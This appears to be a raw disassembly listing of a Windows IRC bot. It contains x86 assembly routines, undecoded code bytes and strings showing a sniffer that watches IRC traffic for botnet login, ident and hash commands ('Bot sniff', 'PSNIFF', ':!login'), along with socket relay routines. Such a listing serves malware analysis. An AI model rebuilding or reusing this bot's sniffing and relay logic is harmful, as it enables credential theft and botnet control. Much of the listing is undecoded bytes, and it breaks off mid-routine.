[edi] jmp short loc_411A22 ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_4119F9+2Dj ; sub_4119F9+79j mov esi, dword_427094 call esi cmp eax, 6Dh jz short loc_411AA6 call esi push eax push offset dword_435694 call sub_415DAC pop ecx pop ecx loc_411AA6: ; CODE XREF: sub_4119F9+9Cj pop edi pop esi pop ebx leave retn sub_4119F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411AAB proc near ; DATA XREF: sub_4116D6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411AC4: ; CODE XREF: sub_411AAB+39j ; sub_411AAB+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB9FC test eax, eax jle loc_411BC9 cmp [ebp+var_10], ebx jbe short loc_411AE6 dec [ebp+var_10] jmp short loc_411AC4 ; --------------------------------------------------------------------------- loc_411AE6: ; CODE XREF: sub_411AAB+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411BA9 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411B56 cmp al, 7Fh jz short loc_411B56 cmp al, 3 jnz short loc_411B11 push ebx push ebx nop call near ptr 278018Eh jmp short loc_411B7D ; --------------------------------------------------------------------------- loc_411B11: ; CODE XREF: sub_411AAB+5Aj cmp al, 15h jnz short loc_411B33 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B33: ; CODE XREF: sub_411AAB+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411B6A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B56: ; CODE XREF: sub_411AAB+52j ; sub_411AAB+56j cmp esi, ebx jbe short loc_411B80 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411B69: ; CODE XREF: sub_411AAB+86j ; sub_411AAB+A9j pop ecx loc_411B6A: ; CODE XREF: sub_411AAB+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CBA34 test eax, eax jle short loc_411BC9 loc_411B7D: ; CODE XREF: sub_411AAB+64j mov al, byte ptr [ebp+arg_0+3] loc_411B80: ; CODE XREF: sub_411AAB+ADj cmp al, 0Dh jnz loc_411AC4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call near ptr 27007FFh nop test eax, eax jz short loc_411BC9 xor esi, esi jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BA9: ; CODE XREF: sub_411AAB+47j cmp [ebp+var_C], ebx jnz short loc_411BBA mov [ebp+var_C], 1 jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BBA: ; CODE XREF: sub_411AAB+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BC9: ; CODE XREF: sub_411AAB+2Bj ; sub_411AAB+D0j ... pop edi pop esi pop ebx leave retn sub_411AAB endp ; --------------------------------------------------------------------------- word_411BCE dw 8B55h ; DATA XREF: sub_401ACD+2BC4o dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch dd 0FF0002ECh, 15FFC075h, 4CB9E4h, 6A57066Ah, 45896602h dd 0F07589EEh, 0BA6415FFh, 0F88B004Ch, 69C4458Bh, 234C0h dd 0B8895300h, 43E92Ch, 50EC458Dh, 1015FF57h, 85004CBAh dd 21850FC0h, 6A000001h, 15FF570Ah, 4CBA0Ch, 850FC085h dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh dd 0FD2C858Dh, 0A068FFFFh, 500042BCh, 0A5E5E8h, 10C48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh dd 4CBA7815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h dd 7015FFE0h, 50004CBAh, 0FD2C858Dh, 4068FFFFh, 50004357h dd 0A579E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF96BEh dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E92488h dd 8458D00h, 2C858D50h, 56FFFFFFh, 1DD36850h, 56560041h dd 0E2D6E890h, 4D8B0226h, 34C969C8h, 3B000002h, 348189C6h dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 0F1A1E890h dd 0EDEB0225h, 0EB61E890h, 8D500226h, 0FFFD2C85h, 570468FFh dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 7C15FF57h dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356D068h, 0DBE85000h dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h dd 59FFFF99h, 31E85659h, 90022CE2h, 555B5E5Fh, 0EC81EC8Bh dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E92Ch, 0ACB889h dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh dd 4CB9CCh, 1875C085h, 15FF36FFh, 4CBA7Ch, 0E80875FFh dd 0FFFF988Ah, 0E8905359h, 22CE1ACh, 30858D53h, 68FFFFFBh dd 408h, 0FF36FF50h, 4CB9FC15h, 7FC08500h, 0FF36FF18h dd 4CBA7C15h, 875FF00h, 0FF9859E8h, 905359FFh, 2CE17BE8h dd 30BD8002h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh dd 0FFFFFB38h, 58086850h, 0DDE80043h, 6800003Eh, 400h dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah dd 3415FF36h, 0FF004CBAh, 7C15FF36h, 0FF004CBAh, 0C3E80875h dd 59FFFF97h, 0E5E89053h, 6A022CE0h, 0E8458D10h, 49E85053h dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 6415FFECh dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB978h, 57C86850h dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 3415FF36h, 0FF004CBAh, 7C15FF36h dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 4DE89053h, 8D022CE0h dd 106AE845h, 15FF5750h, 4CB98Ch, 75FFF883h, 7815FF5Dh dd 50004CB9h, 43578468h, 3DD6E800h, 680000h, 8D000004h dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h dd 0BA3415FFh, 36FF004Ch, 0BA7C15FFh, 75FF004Ch, 96BCE808h dd 5359FFFFh, 0DFDEE890h, 68022Ch, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F2FE8h dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0BA3415FFh dd 36FF004Ch, 39E857h, 59590000h, 7C15FF57h, 0FF004CBAh dd 7C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h, 81E89053h dd 0FF022CDFh, 7C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h dd 0DF6AE853h ; --------------------------------------------------------------------------- sub al, 2 nop push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4120AD: ; CODE XREF: ___:0041215Cj ; ___:0041218Cj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4120C5: ; CODE XREF: ___:004120D3j mov edx, [ebp+8] cmp [eax], edx jz short loc_4120D5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4120C5 loc_4120D5: ; CODE XREF: ___:004120CAj cmp ecx, 1 jnz short loc_4120EA mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4120EA: ; CODE XREF: ___:004120D8j push esi lea eax, [ebp-504h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CB9CC lea eax, [ebp-104h] push eax push ebx call dword_4CB8D0 test eax, eax jz short loc_41214A push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CB9FC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CBA34 cmp eax, 0FFFFFFFFh jz short loc_412192 loc_41214A: ; CODE XREF: ___:0041211Cj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CB8D0 test eax, eax jz loc_4120AD push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CB9FC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CBA34 cmp eax, 0FFFFFFFFh jnz loc_4120AD loc_412192: ; CODE XREF: ___:00412131j ; ___:00412148j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_412197 db 55h ; DATA XREF: sub_401ACD+20B3o ; sub_40BD91+106o dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA6415FFh dd 0F08B004Ch, 75FFFE83h, 1906856h, 0E8900000h, 225ED03h dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h dd 94A8E8FFh, 5959FFFFh, 0C9E89053h, 8D022CDDh, 46AF045h dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9C4h, 6AEC458Dh dd 0FB6A5004h, 15FF5657h, 4CB9C4h, 0FE98858Bh, 106AFFFFh dd 234C069h, 89530000h, 43E92CB0h, 0D4458D00h, 9CF6E850h dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0E415FFFFh dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 1015FFD8h dd 83004CBAh, 1975FFF8h, 138868h, 3CE89000h, 0FF0225ECh dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh dd 190h, 0EC09E890h, 8D530225h, 0FFF88885h, 24B5FFFFh dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh dd 858DFFFFh, 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h dd 0FF93B9E8h, 1CC483FFh, 0D9E89053h, 8B022CDCh, 9F39087Dh dd 2A0h, 27D840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h dd 0F78485C7h, 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B9CC15FFh, 0C085004Ch dd 2218E0Fh, 98A00000h, 8B0043DBh, 888588CFh, 33FFFFFAh dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh, 50000000h dd 0BC15FF56h, 0FF004CB9h, 4589C875h, 7015FFF8h, 50004CBAh dd 50B0458Dh, 9E8DE8h, 309D3800h, 59FFFFFFh, 0AA850F59h dd 80000001h, 0FFFF31BDh, 850F01FFh, 0A3h, 0FD94858Dh dd 0E850FFFFh, 95C0h, 75FF5353h, 0B681E8FCh, 75FF0000h dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh dd 96C0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0BA4815FFh, 9D39004Ch dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 73E7E8FFh, 0C483FFFFh dd 88858D14h, 50FFFFF8h, 38A7E8h, 10E95900h, 80000001h dd 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah, 858AFFFFh dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h dd 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh, 0E7E85001h dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh, 478D50F4h dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA4815h, 75FB3B00h dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 4347A8h, 9D18E850h dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h, 0FFFFF888h dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch dd 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 37B0h dd 0E4EC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h dd 435848h, 4815FF56h, 39004CBAh, 8F0FF85Dh, 0FFFFFD77h dd 56087D8Bh, 0BA7C15FFh, 75FF004Ch, 9479E8FCh, 8DFF0000h dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh dd 0FFFF90FAh, 0E8905359h, 22CDA1Ch, 3E868h, 0E901E800h dd 57900225h, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h cmp dword ptr [ebp+98h], 0 jz short loc_41266C push esi mov esi, offset dword_435858 loc_412614: ; CODE XREF: ___:00412667j push esi push dword ptr [ebp+0Ch] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41265B push esi lea eax, [ebp-200h] push dword ptr [ebp+8] push offset dword_436BC4 push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 28h loc_41265B: ; CODE XREF: ___:00412621j add esi, 80h cmp esi, offset dword_436458 jb short loc_412614 pop esi jmp short loc_4126A3 ; --------------------------------------------------------------------------- loc_41266C: ; CODE XREF: ___:0041260Cj push dword ptr [ebp+8] lea eax, [ebp-200h] push offset aS_1 ; "%s" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 24h loc_4126A3: ; CODE XREF: ___:0041266Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- byte_4126A7 db 55h ; DATA XREF: sub_401ACD+7374o dd 0EC81EC8Bh, 920h, 5308458Bh, 0A5835756h, 0FFFFF6E0h dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h dd 94h, 1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB96815h dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB98015h, 200BB00h dd 86A0000h, 0E7E5E890h, 15FF0225h, 4CB968h, 0FF8453Bh dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB98015h dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C4C68h dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h dd 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 97BBE8h dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C4C68h dd 6FE85000h, 8100009Ah, 8CECh, 8D34EB00h, 0E850B845h dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh dd 0FB20858Dh, 2C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh, 858D50FCh dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h, 0A1h, 15FF016Ah dd 4CB9B0h, 80013D66h, 8F850Fh, 858D0000h, 0FFFFFD20h dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB96815h, 0E08D8D00h dd 6AFFFFFAh, 0FF50513Ch, 4CB98015h, 20858D00h, 50FFFFFDh dd 0FB20858Dh, 4C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh, 0FC8B5926h dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h dd 0FFFB2085h, 6A53FFh, 964EE850h, 0C4830000h, 0FC45C70Ch dd 43645Ch, 15FF106Ah, 4CB8B8h, 8BF0BF0Fh, 788BFC45h, 15FF57FCh dd 4CB9B0h, 7480C4F6h, 0FF146A7Bh, 4CB8B815h, 0C0856600h dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h, 0BD84C710h dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8B815h, 0C0856600h dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h, 0F6E0BD84h, 0F685FFFFh dd 158840Fh, 20830000h, 20858D00h, 83FFFFFDh, 755008FFh dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h dd 8FBFE8h, 1B93D00h, 76590000h, 6815FF39h, 8D004CB9h dd 3C6AB84Dh, 15FF5051h, 4CB980h, 0A87D83h, 858D0E74h dd 0FFFFFD20h, 6C146850h, 55EB0043h, 50B8458Dh, 0FD20858Dh dd 6850FFFFh, 436BF8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h, 0D2h, 0B96815FFh dd 4D8D004Ch, 513C6AB8h, 8015FF50h, 83004CB9h, 7400A87Dh dd 20858D1Dh, 50FFFFFDh, 436BE468h, 20858D00h, 50FFFFFBh dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h dd 6BCC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h, 0C4830000h dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h dd 0FD20858Dh, 6AFFFFh, 9486E850h, 0C4810000h, 0ACh, 0FB20858Dh dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h dd 45835959h, 7D8114FCh, 436B8CFCh, 0E98C0F00h, 83FFFFFDh dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh dd 90006A59h, 2CD49FE8h db 2 byte_412B61 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4150o dd 102B4B8h, 9992E800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0B9E415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF7E4DE8h, 0FF5059FFh, 4CBA2415h, 36A5600h, 4589026Ah dd 6415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h, 7815FF5Dh dd 50004CB9h, 0FD4C858Dh, 0AC68FFFFh, 50004375h, 9675E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h dd 565959FFh, 0D3CAE890h, 458B022Ch, 69106AD0h, 234C0h dd 2CB88900h, 8D0043E9h, 5750E445h, 0BA1015FFh, 0F883004Ch dd 0FF6475FFh, 4CB97815h, 858D5000h, 0FFFFFD4Ch, 43758068h dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 7C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah, 0D346E856h dd 5690022Ch, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CB99015h, 0FFF88300h, 15FF6475h, 4CB978h, 4C858D50h dd 68FFFFFDh, 437550h, 9574E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0BA7C15FFh, 75FF004Ch, 89A0E8D0h dd 5659FFFFh, 2CD2C3E8h, 0BB539002h, 436C68h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9FCh, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 4468FFFEh dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 753468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0B91415FFh, 0B70F004Ch, 75FF50C0h, 7015FFF4h, 50004CBAh dd 8B7F048Dh, 6C7CC504h, 34FF0043h, 436C5885h, 4C858D00h dd 68FFFFFDh, 437500h, 20068h, 29E85000h, 83000095h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 7815FFFFh, 50004CB9h dd 4374D468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA7C15h dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2CD123E8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412EDD proc near ; CODE XREF: sub_4131EC+213p ; sub_4131EC+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE744, eax mov eax, offset dword_4CE744 retn sub_412EDD endp ; =============== S U B R O U T I N E ======================================= sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F06 loc_412F02: ; CODE XREF: sub_412EEC+29j ; sub_412EEC+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412F06: ; CODE XREF: sub_412EEC+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aJoin_0 ; "JOIN #" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F4E loc_412F4A: ; CODE XREF: sub_412EEC+71j ; sub_412EEC+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F4E: ; CODE XREF: sub_412EEC+5Cj ; DATA XREF: ___:off_43ACF0o push offset a302_0 ; "302 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a366 ; "366 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login_0 ; ":.login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_1 ; ":!login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_0 ; ":!Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login ; ":.Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_ident ; ":.ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aIdent_0 ; ":!ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset a_hashin ; ":.hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset aHashin ; ":!hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EEC endp ; =============== S U B R O U T I N E ======================================= sub_413003 proc near ; CODE XREF: sub_4131EC+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aIrcSniff ; "IRC sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41301D 